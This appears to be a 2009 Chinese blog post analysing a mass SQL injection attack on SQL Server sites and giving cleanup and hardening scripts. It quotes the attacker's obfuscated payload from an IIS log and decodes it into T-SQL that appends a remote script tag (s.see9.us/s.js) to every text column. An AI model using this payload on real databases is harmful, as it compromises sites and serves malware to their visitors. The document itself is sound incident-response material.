• 分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....


    首发csdn:http://topic.csdn.net/u/20090523/19/72041932-b65c-49c1-ad36-d2c63b38b174.html

    author:perfectaction
    date  :2009.05
    适用于sql 2005/2008
    从去开始,有很多网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入"> </title> <script src=http://s.see9.us/s.js> <或是3b3.org等字符

    我也遇到过,通过分析iis日志,搜索"Update%20",找到很多,如:
    2008-**-** 00:17:54 59.39.69.146 - W3SVC1 80 GET show.asp id=8826;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20select%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20where%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('Update%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 302 0 HTTP/1.1 211.68.23.76 Mozilla/4.0 - -

    这段代码我还原后如下:

    declare  @t  varchar(255),@c  varchar(255)  
    declare  table_cursor  cursor  for  
    select  a.name,b.name  from  sysobjects  a,syscolumns  b  
    where  a.iD=b.iD  AnD  a.xtype='u'  
    AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167)  

    open  table_cursor  fetch  next  from  table_cursor  
    into  @t,@c  
    while(@@fetch_status=0)  
    begin  
        
    print('update  [' + @t + ']  set  [' + @c + ']=rtrim(convert(varchar,[' + @c + '])) + cast(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D  aS  varchar(67))')  
        
    fetch  next  from  table_cursor  into  @t,@c  
    end  
    close  table_cursor  deallocate  table_cursor

     实事上,上面的print实际为exec..其原理就是通过遍历所有的表中的字符类型字段,然后update其内容,加上攻击者的字符.
    同理,若要去掉这些字符,也可以利用上面的代码:

    declare  @t  varchar(255),@c  varchar(255)  
    declare  table_cursor  cursor  for 
    select  a.name,b.name  from  sysobjects  a,syscolumns  b  
    where  a.iD=b.iD  AnD  a.xtype='u'
    AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167)  
    declare @str varchar(500)
    --这里是你要替换的字符
    set @str='"></title><script src=http://s.see9.us/s.js></script><!--'
    open  table_cursor  fetch  next  from  table_cursor 
    into  @t,@c  while(@@fetch_status=0)
    begin
        
    exec('update  [' + @t + ']  set  [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')      
        
    fetch  next  from  table_cursor  into  @t,@c
    end
    close  table_cursor  deallocate  table_cursor;

    但事实上,攻击者在update数据库字段时,是采用先截取再加他自己字符的方法,所以对于text/ntext类型,如果你原来的字段内的字符>8000的话,已经无法全部还原成最初状态了.

    往往我们还需要看下其它数据库有没有同样被攻击,我写了如下代码:

    --查某个指定字符出现在哪些表哪些字段:
    declare @searchstr nvarchar(500)
    set @searchstr ='3b3.org' --这里是你要查的字符内容
    declare @t  varchar(255),@c  varchar(255
    create table # (name varchar(256),cols varchar(4000))
    declare  table_cursor  cursor  for
    select  a.name,b.name  from  sysobjects  a,syscolumns  b  ,systypes c
    where  a.id=b.id  and  a.xtype='u' and b.xtype=c.xtype
    and c.name in ('char','nchar','varchar','nvarchar','text','next')
    open  table_cursor  fetch  next  from  table_cursor
    into  @t,@c
    while(@@fetch_status=0)
    begin  
        
    exec('
        set nocount on
        if exists(select top 1 1 from  [
    ' + @t + ']  where  cast([' + @c + '] as varchar(8000)) like ''%'+@searchstr+'%''
        begin 
            if not exists(select 1 from # where name=
    '''+@t+''')
                insert into # select 
    '''+@t+''','''+@c+'''
            else
                update # set cols=cols+
    '','+@c+''' where name='''+@t+'''
            --select 
    '+@c+' from [' + @t + ']  where  [' + @c + '] like ''%'+@searchstr+'%''
        end
        
    ')
        
    fetch  next  from  table_cursor  into  @t,@c  
    end
    close  table_cursor  deallocate  table_cursor;
    select name as '表名',cols as '列名' from #
    drop table #

     这段sql可以查到你的哪些表哪些字段包含某个指定字符.

    这种sql注入攻击我怀疑应该是一种工具或称为病毒,但始终没有见过,如果哪位朋友有,希望给我一份,谢谢.

     针对如上的这种sql注入攻击,如果由于某些原因不能更改程序,那么提供如下解决办法:

    --创建测试库
    create database dbtest
    go
    use dbtest
    go
    --创建测试表tb_1
    create table tb_1(
    id 
    int identity(1,1primary key,
    col1 
    char(200),
    col2 
    varchar(300),
    col3 
    text,
    col4 
    ntext,
    col5 
    varchar(max)
    )
    go
    --创建测试表tb_2
    create table tb_2(
    id 
    int identity(1,1primary key,
    col1 
    char(200),
    col2 
    varchar(300)
    )
    go
    insert into tb_1 select 'a','b','c','d','e'
    go
    --创建测试视图
    create view v_tb_1
    as 
    select *from tb_1
    go
    --创建测试存储过程
    create proc p_tb_1
    as
    select top 1 * from tb_1 order by col2
    go
    --创建测试表值函数
    create function fn_tb_1(@id int)
    returns table
    return (select * from tb_1 where id=@id)
    go
    --创建测试标量函数
    create function fn_tb_1_1(@id int)
    returns varchar(300)
    as
    begin
        
    declare @col2 varchar(300)
        
    select @col2 = col2 from tb_1 where id=@id
        
    return @col2
    end
    go


    --创建login帐号及为其添加安全权限,重要
    use dbtest
    go    
    set nocount on
    declare @dbname varchar(300),@username varchar(300),@pwd varchar(300)
    select @dbname=db_name(),
    @username='webuser_dbtest'--
    @pwd='ExO[!g-k9EQ]#y' --
    declare @sql varchar(max)
    declare @t table(name varchar(256)) 
    insert into @t select 'sysobjects'    union all select 'sys.objects ' 
    union all select 'syscolumns'        union all select 'sys.columns' 
    union all select 'sys.tables'        union all select 'sys.all_columns' 
    union all select 'sys.all_objects'    union all select 'sys.indexes' 
    union all select 'sys.index_columns' 
    set @sql = 'use master;create login ['+ @username +'] with password = '''+@pwd+''',CHECK_EXPIRATION=OFF, CHECK_POLICY=ON'+char(13)
    set @sql = @sql + 'use ['+@dbname+']; create user ['+@username +'] for login ['+@username+'] with DEFAULT_SCHEMA =dbo'+char(13)
    select @sql = @sql + 'grant select,insert,update,delete on ['+name+'] to ['+@username+']' +char(13from sys.tables where type='u' and is_ms_shipped !=1
    select @sql = @sql + 'grant exec on ['+name+'] to ['+@username+']' +char(13from sys.procedures  where type='P' and schema_id=1 and is_ms_shipped !=1
    select @sql = @sql + 'grant exec on ['+name+'] to ['+@username+']' +char(13from sys.objects  where type in ('FN'and is_ms_shipped !=1
    select @sql = @sql + 'grant select on ['+name+'] to ['+@username+']'  +char(13from sys.objects  where type in ('TF','IF'and is_ms_shipped !=1
    select @sql = @sql + 'grant select on ['+name+'] to ['+@username+']'  +char(13from sys.views  where type='V' and is_ms_shipped !=1
    select @sql = @sql + 'deny select on '+name+' to ['+@username+']'  +char(13from @t
    print(@sql)
    exec(@sql)
    /* --这里生成的创建新用户及设置权限的t-sql.
    use master;create login [webuser_dbtest] with password = 'ExO[!g-k9EQ]#y',CHECK_EXPIRATION=OFF, CHECK_POLICY=ON
    use [dbtest]; create user [webuser_dbtest] for login [webuser_dbtest] with DEFAULT_SCHEMA =dbo
    grant select,insert,update,delete on [tb_2] to [webuser_dbtest]
    grant select,insert,update,delete on [tb_1] to [webuser_dbtest]
    grant exec on [p_tb_1] to [webuser_dbtest]
    grant exec on [fn_tb_1_1] to [webuser_dbtest]
    grant select on [v_tb_1] to [webuser_dbtest]
    deny select on sysobjects to [webuser_dbtest]
    deny select on sys.objects  to [webuser_dbtest]
    deny select on syscolumns to [webuser_dbtest]
    deny select on sys.columns to [webuser_dbtest]
    deny select on sys.tables to [webuser_dbtest]
    deny select on sys.all_columns to [webuser_dbtest]
    deny select on sys.all_objects to [webuser_dbtest]
    deny select on sys.indexes to [webuser_dbtest]
    deny select on sys.index_columns to [webuser_dbtest]
    */


    execute as login='webuser_dbtest' --切换用户,以验证权限是否正确
    select USER_NAME()
    /*
    webuser_dbtest
    */

    select top 1 *from tb_1
    /*
    1    a  b    c    d    e
    */

    select top 1 * from v_tb_1
    /*
    1    a  b    c    d    e
    */

    exec p_tb_1
    /*
    1    a  b    c    d    e
    */

    select top 1 * from sys.objects  --这里可以看到该系统表也不允许被访问
    /*
    Msg 229, Level 14, State 5, Line 1
    拒绝了对对象 'objects' (数据库 'mssqlsystemresource',架构 'sys')的 SELECT 权限。
    */

    revert 
    --切换回dbo用户
    select USER_NAME()
    /*
    dbo
    */

    select top 1 name,object_id from sys.objects  --这里可以看到该系统表允许dbo访问
    /*
    sysrscols    3
    */


    这个代码是针对sql 2005/2008.

    另外,这个旨在建立较为安全的程序帐号设置.并针对
    "网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入"> </title> <script src=http://s.see9.us/s.js> <或是3b3.org等字符 "
    这种注入攻击而设计.


    不过,真正的防注入,需要程序来实现。

  • 相关阅读:
    win10没有新建文件夹
    js暂停的函数
    Mini ORM——PetaPoco笔记
    阻止网页内部滚动条mousewheel事件冒泡
    setTimeout调用带参数的函数的方法
    spring入门--Spring框架底层原理
    spring入门——applicationContext与BeanFactory的区别
    mybatis的Sql语句打印
    Sql语句中IN和exists的区别及应用
    Jenkins学习
  • 原文地址:https://www.cnblogs.com/nzperfect/p/1503532.html
Copyright © 2020-2023  润新知